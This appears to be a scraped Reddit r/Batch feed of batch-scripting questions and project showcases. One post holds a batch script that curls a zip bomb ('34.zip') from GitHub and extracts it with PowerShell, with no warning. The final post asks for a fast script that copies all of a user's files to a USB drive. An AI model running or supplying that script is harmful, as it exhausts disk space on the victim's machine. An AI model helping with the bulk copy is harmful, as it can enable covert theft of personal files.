r/Batch • u/Suitable-Marzipan623 • 2h ago
Question (Unsolved) call or goto
Who is the fast ?
Do you use more?
r/Batch • u/Suitable-Marzipan623 • 2h ago
Who is the fast ?
Do you use more?
r/Batch • u/murderdronesfan93 • 2h ago
r/Batch • u/murderdronesfan93 • 6h ago
reason 1: these are 17 unique batch files
reason 2: i'd be responsible for taking thousands of lives via aneurysms if i showed the inner workings of these abominations
if any of yall have solutions, i will post the files' contents (spoilered so i am not responsible for damages caused by viewing this ungodly abomination cobbled together from 50 google searches and lackluster knowledge of batch files)
note:
when learning programming languages, i can work with computing logic perfectly in my head, even mapping out small programs. to use a metaphor, it's like knowing the concepts most words refer to, but not knowing any languages. knowing a few words and grammar rules but not knowing which languages they belong to or any words for most of the concepts. i have issues with executive dysfunction and not knowing where it'll start from when attempting to learn programming languages actually fit for these things.
batch files fix this. i have a rudimentary idea of how they work, you can google just about anything for text manipulation with batch and get results, you can boil most issues down to a lot of text manipulation and it always executes exactly from line 1 of the batch file you called.
this is why i use batch files for this stuff where it becomes a hatecrime against the idea of programming.
yap abt why batch is what i pivot to aside, :3
if you want the files, ask in the comments. if i have been told a way to show all of their code, i will do that and link the .zip containing them.
(i am not showing any scripts in the post, so i figure not showing the code is ok until i actually show the scripts)
edit: https://github.com/SillyLily93/BatIncorrectQuoteGenerator/tree/main
r/Batch • u/zaphodikus • 4d ago
I use a linter for my C# (it's in the IDE mostly), I use pylint for Python, and on occasion start up a clang-tidy for C++. I'm always making dumb mistakes with batch and prefer to just use Python where possible and I suddenly wondered, what linter tooling do people use?
I could always spend a few tokens in this one tool my boss gave me, but surely there is a linter? All I could find was an abandoned thread https://www.reddit.com/r/Batch/comments/1mp1wc7/github_crosenblumblint_blint_is_a_lightweight_and/
Starts Music Batch est un lecteur de musique qui fait un peu plus que simplement jouer une chanson
Il vous permet d'écouter vos fichiers MP3, WAV, WMA, M4A et AAC, mais vous donne également un accès direct aux stations de radio en ligne et vous permet de rechercher une station depuis le lecteur en utilisant une API
Et si vous voulez vous amuser avec le son, le mode Beeper Music vous permet de jouer des notes avec votre clavier, de générer des mélodies aléatoires ou de composer vos propres morceaux de Beeper Music et de les exporter au format WAV
Le programme comprend également un mode voice book, qui peut transformer un fichier texte en plusieurs fichiers audio en utilisant le système de synthèse vocale intégré de Windows
L'objectif est aussi de rendre facile l'écoute, la création et l'édition de musique localement.
📦 Le projet est disponible ici :
r/Batch • u/AveryLakotaValiant • 23d ago
Hey all,
Not sure if this is something that can be automated or not, but I would like to run some kind of program or batch file, that renames 4 files in a folder, based on a numerical entry in a json file
It's basically renaming the 4 files that belong to steamwork shop mods.
Files are in the format of - NameofMod.pak (.sig, .ucas and .utoc)
The Json file is always named modinfo.json
In each Json file, for each mod is this entry:
"steamId": 1263456789, (each mod has a unique number)
So it would need to grab that number, the rename the 4 files so they look like:
3743087805.pak / 3743087805.sig / 3743087805.ucas / 3743087805.utoc
Not sure if I'm allowed to offer payment for this to be created, as I appreciate it's probably a lot of work!
But I definitely do need this, as I have over 200 mod folders and I don't fancy renaming every file manually
r/Batch • u/Equivalent_Meaning46 • 26d ago
How does recurse work on 7zip CMD line ?
r/Batch • u/STGamer24 • 27d ago
For the past few minutes I've been trying to find a way to compress a folder from the terminal (I have to compress it every single time I make a change so I want to make a script to automate that). The problem I have is that I need a way to compress it with the zip format. The first thing I tried was the tar command, which according to microsoft themselves supports the .zip format, however when I actually run the command (tar -caf skin.zip .\nightmare) it saves it in the gzip format (so it only works when renaming it to have a compatible extension, however it doesn't matter because this isn't the format I need).
Please someone explain to me how to use this command properly :(
r/Batch • u/orangeboy_on_reddit • Sep 17 '26
I'm working on a batch file to standardize naming conventions for media files. For complete transparency, I've set some symbols to help toggle debugging, but have "hardcoded" their values in order to get to the heart of the issue I am having. The section I am having trouble with are media files with "Season/Episode" text in the file name. The batch file including comments is about 700 lines, so I will try to post the relevant parts and <snip> out sections that behave.
@ECHO OFF
SETLOCAL ENABLEEXTENSIONS ENABLEDELAYEDEXPANSION
CALL :HouseKeeping
REM SET "Debug=CALL :Debug"
SET "Nullify="
<FORFILES code to walk media file path having structure:>
< Root\User\Videos\!Library!\!MediaTitle!\!MediaFileName!>
< ... setting !ForFiles_File! to the name of the directory or file>
EXIT /B
<Labels/Subroutines to deal with Library and MediaTitle directories>
<Finally dealing with the actual media file itself:>
:MediaFileName
SET "Episode="
SET "ShowSeason="
SET "CleanFile=!ForFiles_File!"
SET "CleanFile=!CleanFile:&=-!"
SET "CleanFile=!CleanFile:.= !"
SET "CleanFile=!CleanFile:_= !"
SET "CleanFile=!CleanFile:][=] [!"
SET "CleanFile=!CleanFile: = !"
SET "ShowExtra=!CleanFile!"
SET "WorkFile=!CleanFile!"
:MediaFileName_Loop
FOR /F "tokens=1* delims= " %%W IN ("!WorkFile!") DO (
SET "Word=%%W"
SET "WorkFile=%%X"
IF /I "!LibraryType!" EQU "Show" (
IF NOT DEFINED Episode (
@ECHO "!Word!"|FINDSTR /IRC:"[0-9]">NUL
IF /I !ERRORLEVEL! EQU 0 (
SET "Word=!Word:*S=S!"
CALL :Get_Season_Episode
)
)
) ELSE (
CALL :Get_Cut
)
)
IF /I "!WorkFile!" NEQ "" (
GOTO :MediaFileName_Loop
)
<Post processing of media file name>
%Return%
:Get_Season_Episode
@ECHO "!Word!"|FINDSTR /IRC:"[0-9]"%Nullify%
IF /I !ERRORLEVEL! EQU 1 %Return%
IF NOT DEFINED Season (
@ECHO "!Word!"|FINDSTR /IRC:"^\"S[0-9]"%Nullify%
IF /I !ERRORLEVEL! EQU 0 (
SET "Word=!Word:*S=S!"
FOR /F "tokens=1,2,3 delims=SsEe- " %%S IN ("!Word!") DO (
SET "Season=00%%S"
%Debug% Season
CALL :Get_Only_Numbers "Season"
SET "Season=!Season:~-2!"
%Debug% Season
SET "Episode=%%T"
%Debug% Episode
SET "Episode2=%%U"
%Debug% Episode2
)
)
)
IF NOT DEFINED Season (
@ECHO "!Word!"|FINDSTR /IRC:"^\"E[0-9]"%Nullify%
IF /I !ERRORLEVEL! EQU 0 (
%Debug% Get_Season_Episode 02
IF NOT DEFINED Season SET "Season=01"
%Debug% Season
FOR /F "tokens=1,2 delims=Ee- " %%T IN ("!Word!") DO (
SET "Episode=%%T"
%Debug% Episode
SET "Episode2=%%U"
%Debug% Episode2
)
)
)
IF NOT DEFINED Episode (
@ECHO "!Word!"|FINDSTR /IRC:"^\"[0-9]*-*[0-9]\"$"%Nullify%
IF /I !ERRORLEVEL! EQU 0 (
%Debug% Get_Season_Episode 03
IF NOT DEFINED Season SET "Season=01"
%Debug% Season
FOR /F "tokens=1,2 delims=- " %%T IN ("!Word!") DO (
SET "Episode=%%T"
%Debug% Episode
CALL :Get_Only_Numbers "Episode"
%Debug% Episode
SET "Episode2=%%U"
%Debug% Episode2
CALL :Get_Only_Numbers "Episode2"
%Debug% Episode2
)
)
)
IF NOT DEFINED Episode (
@ECHO "!Word!"|FINDSTR /IRC:"^\"[0-9]*"%Nullify%
IF /I !ERRORLEVEL! EQU 0 (
%Debug% Get_Season_Episode 04
CALL :Get_Only_Numbers "Word"
IF NOT DEFINED Season SET "Season=01"
%Debug% Season
FOR /F "tokens=1,2 delims=- " %%T IN ("!Word!") DO (
SET "Episode=%%T"
%Debug% Episode
SET "Episode2=%%U"
%Debug% Episode2
)
)
)
IF DEFINED Episode (
IF NOT DEFINED EpisodeNumLen (
CALL :Get_String_Length !Episode! EpisodeNumLen
)
CALL :Set_Episode_Length "000!Episode!" "!EpisodeNumLen!" "Episode"
SET "EpisodeNum=S!Season!E!Episode!"
%Debug% EpisodeNum
IF DEFINED Episode2 (
CALL :Set_Episode_Length "000!Episode2!" "!EpisodeNumLen!" "Episode2"
SET "EpisodeNum=!EpisodeNum!-E!Episode2!"
%Debug% EpisodeNum
)
SET "MediaFileName=!MediaFileName! !EpisodeNum!"
%Debug% MediaFileName
)
%Return%
:Debug
IF NOT DEFINED %~1 (
ECHO %*
) ELSE (
ECHO %~1="!%~1!"
)
%Return%
:HouseKeeping
SET "Debug=REM"
SET "Nullify=>NUL"
SET "Return=GOTO :EOF"
<other symbol assignments>
%Return%
<More labels/subroutines to do stuff>
The problem is in the ":Get_Season_Episode" section. If I redirect FINDSTR results to NUL, ERRORLEVEL evaluates to 1. If I completely remove redirection to NUL, ERRORLEVEL correctly evaluates to 0. As mentioned, I have taken my %Nullify% "helper" symbol out of the equation and either included or omitted >NUL while testing, and observe the same results.
What am I missing?!
r/Batch • u/capoapk • Sep 13 '26
Je vous presente S.B.S un bac à sable L’idée est de réunir plusieurs expériences dans un seul projet : des simulations de créatures et d’écosystèmes, une simulation de Galton, AP-4GMG pour l’apprentissage et la génération de texte , Le but de SBS est surtout d’expérimenter
📦 Le projet est dispo ici :
https://github.com/Capoapk-B/Stochastic-Batch-Simulation-S.B.S
r/Batch • u/Intrepid_Ad_4504 • Sep 13 '26
https://github.com/IcarusLivesHF/Batch-Missile-Command
Please enjoy!
r/Batch • u/Calm_Firefighter_125 • Sep 13 '26
u/echo off
cd /d "%~dp0"
echo Downloading 34.zip ...
curl -L -o "34.zip" "https://github.com/AyrA/ZipBomb/raw/master/34.zip"
if exist "34.zip" (
echo.
echo Download finished successfully.
echo File saved as: %cd%\34.zip
echo.
echo Extracting 34.zip ...
powershell -Command "Expand-Archive -Path '%cd%\34.zip' -DestinationPath '%cd%' -Force"
echo.
echo Extraction finished.
) else (
echo.
echo Download failed.
)
echo.
pause
r/Batch • u/Helpful_Top5017 • Sep 13 '26
Im gonna keep this quick - heres my code im sorry reddits formatting supposedly works like this but it doesnt look like it works before i post.
```
@chcp 65001
@echo off
set /p infotext=SUCCESS IF THERE IS A LINE ABOVE - CONTACT DEVELOPER IF THERE IS NO OUTPUT BEFORE THIS LINE.
set /p playfield1=£¥$%#hell world
echo %playfield1%
pause
echo %infotext%
pause
```
Whereas in the output it says:
’’’
chcp 65001 1>nul
SUCCESS IF THERE IS A LINE ABOVE - CONTACT DEVELOPER IF THERE IS NO OUTPUT BEFORE THIS LINE.
(pause without message)
£¥$%#hell world
(another pause)
’’‘
Why? do i need to read the variables in the same order i set them in? That would have nothing to do with programming imo. Or am i missing something obvious?
r/Batch • u/SchooiIGuess • Sep 10 '26
Hello, I am Schooi, aka SchooiCodes, and I have been working on this huge program for the past 2.5 years of my life.
SMT is my passion project, and my biggest project yet, made entirely in Batchfile (except for its installer). It compiles over 130 tweaks, tools, and other projects of mine into one big hub.
SMT is comprised of ~6k lines of pure Batch, and approximately 140 batchfiles inside (each one can be run independently) :)
I have created about 95% of the tools in SMT, and for the 5% that I haven't, credits are available on the main menu.
It is under heavy development, and things change every day. Currently, it is version 2.3 (indev) (but I might drop the versioning system completely).
It includes tools ranging from application installers to network utilites. It has all kinds of stuff.
I kindly request that you check this out, because I would love to see it be used by people, and hopefully also get feedback on it.
SMT is completely open-source, and available on Github.
Cheers.
r/Batch • u/T3RRYT3RR0R • Sep 04 '26
This is an example of using multithreading to display an animation while the main script continues execution. The animation itself is part of my ongoing experimantion with programmable entity behaviours that can be implemented via set /a, and is just 2 'entities' moving through their programmed paths.
Code available at: https://github.com/T3RRYT3RR0R/Advanced_Batch/blob/main/Load_Animation.bat
r/Batch • u/T3RRYT3RR0R • Aug 31 '26
Random walker as an algorithm. See github for full code:
https://github.com/T3RRYT3RR0R/Random_Walker
Edit: New repository link, additional modes added.
xe=(`^=`<<13,`^=`>>17,`^=`<<5,((`&0x7FFFFFFF)%%(_%%i.fH-_%%i.fL+1)))+_%%i.fL ; generate random cd coefficient: xe 'x expiry' Value in range : [ high-low ... + low ]
_%%i.xd=-1*((_%%i.xc-=-1*~((_%%i.xc)>>31))>>31) ; decrease cooldown timer if timer gtr -1 ; flag 'do' true : xd == 1 if cd == -1
_%%i.xc+=_%%i.xd*(xe+1) ; new cd value added from xe if xd == 1
rx=('^='<<13,'^='>>17,'^='<<5,(('&0x7FFFFFFF)%%3+1))-2 ; generate random sign x -1 0 or 1
_%%i.sx=_%%i.xd*rx+((1-_%%i.xd)*_%%i.sx) ; selectively assign new sx if xd == 1
ye=('^='<<13,'^='>>17,'^='<<5,(('&0x7FFFFFFF)%%(_%%i.fH-_%%i.fL+1)))+_%%i.fL ; repeat above logic for y using a different random seed
_%%i.yd=-1*((_%%i.yc-=-1*~((_%%i.yc)>>31))>>31)
_%%i.yc+=_%%i.yd*(ye+1)
ry=(`^=`<<13,`^=`>>17,`^=`<<5,(('&0x7FFFFFFF)%%3+1))-2
_%%i.sy=_%%i.yd*ry+((1-_%%i.yd)*_%%i.sy)
_%%i.x+=_%%i.sx,_%%i.x-=(-1*((_%%i.xH-(_%%i.x+_%%i.w))>>31)),_%%i.x+=(-1*((_%%i.x-_%%i.xL)>>31)) ; increment by ( sx - (1 if x gtr x max) + ( 1 if x lss x min )
_%%i.y+=_%%i.sy,_%%i.y-=(-1*((_%%i.yH-(_%%i.y+_%%i.h))>>31)),_%%i.y+=(-1*((_%%i.y-_%%i.yL)>>31)) ; clamped sign modification as above for y
,... F T reset _#.cd 'rc' if:
rc=-(-1*(-1-((_%%i.sx|_%%i.sy)|-(_%%i.sy|_%%i.sx))))|^ ; 0 | -1 sy,sX == 0,0
-(-1*~((_%%i.xL-_%%i.x)>>31))|^ ; 0 | -1 _#.x == min X
-(-1*((_%%i.xH-(_%%i.x+_%%i.w))>>31)-1)|^ ; 0 | -1 _#.x == max x
-(-1*~((_%%i.yL-_%%i.y)>>31))|^ ; 0 | -1 _#.y == min y
-(-1*((_%%i.yH-(_%%i.y+_%%i.h))>>31)-1) ; 0 | -1 _#.y == max y
_%%i.xc|=rc ; xc | -1 rc == -1
_%%i.yc|=rc ; yc | -1 rc == -1
r/Batch • u/Glidepath22 • Aug 30 '26
I was inspired after seeing how graphics can be accomplished in batch. It’s kinda model after a Rolex GMT Master II. Run with the ‘demo’ parameter to see the moon increment every 5 seconds. https://github.com/JerryASNew/BatchWatch/tree/main/Watch
r/Batch • u/Zestyclose-Set-3648 • Aug 30 '26
My first post! I hope this thing is welcome here.
The idea behind Banners was to create a decent faux desktop environment using only batch, and no other outside dependencies.
It includes a desktop/main screen, a menu listing options like opening Documents and a shortcut to a Control Panel, or settings app, as well as an automatically populating programs section. The taskbar also serves a purpose too, displaying any processes or apps you've just opened.
It supports "multitasking", having up to five programs available at one time, so when in a native Banners app you can instantly switch to any other open process just by typing the name.
My goal with this project is to see how far I can push Banners; with different apps (I've already wrote an installer for it), features, ect. Since it's already at version 1.0, I'll release it to Github for people to poke around it.
r/Batch • u/Intrepid_Ad_4504 • Aug 28 '26
Just popping in with a new project I've been working on. Enjoy!
https://github.com/IcarusLivesHF/Batch-Script-Projects/tree/main/raytrace_chromeBall
I am using a 1x1 font size for these higher resolution images. You are able to obtain the same font from https://int10h.org/oldschool-pc-fonts/fontlist/font?ibm_ega_8x8
The font is called MxPlus IBM EGA 8x8.ttf
It comes as a package of fonts, but you really only need this one
r/Batch • u/pc1350 • Aug 26 '26
Anyone has this .bat file? Author's github (Batch-Man · GitHub) does not have it (or I can't find it). Thank you.
r/Batch • u/Equipe_Batch32 • Aug 18 '26
Este jogo além de batch tem alguns vbs para emitir áudio, usa um arquivo .exe para abrir o batch de fonte (só pra ficar bonito), é simples e apresenta arte ASCII mínima (as poucas peças incluídas são estáticas, pois eu não sabia programar nesse nível quando o jogo foi criado), mas é uma experiência completa e tensa. Botei o nome de ASCII Rooms porque foi o primeiro nome que veio na minha cabeça. talvez futuramente eu tente fazer um rooms completamente feito em ascii.
r/Batch • u/Intrepid_Ad_4504 • Aug 17 '26
r/Batch • u/zaphodikus • Aug 13 '26
the following line does what i want ```
for %A in (*.zip) do @echo %~fA - %~zA Bytes
but when i add it to a batch .bat file i instead get
The following usage of the path operator in batch-parameter substitution is invalid: %~zA Bytes
For valid formats type CALL /? or FOR /? The syntax of the command is incorrect.
```
while when typed in I get ``` C:\MeteorRepos\remoteapitesting>for %A in (*.zip) do @echo %~fA - %~zA Bytes C:\MeteorRepos\remoteapitesting\ethernetspeed.zip - 769203 Bytes
```
Before someone tells me all about and lectures me on X Y theory I''l explain the X or the Y whatever order
The goal: I've just got a 10 lines batch script that start
setlocal ENABLEDELAYEDEXPANSION
Which runs a compiler, a few steps in python, and creates (from scratch) a large zip file from a temp folder and then deletes the folder. It's literally 10 lines.
At the end it would be very slick if all I had was a line that prints the size of the zip file. Any hints what's borked in my very n00b interpretation of the runes for DOS, this is the first ever DOS loop I've written that was not straight-up copy-pasta.
r/Batch • u/scriptingiscool • Aug 12 '26
Hey im very new to batch and everything coding
I need to copy every file from the user path onto my usb drive.
I just need it to copy it and be fast.
If anyone can help me out that would be great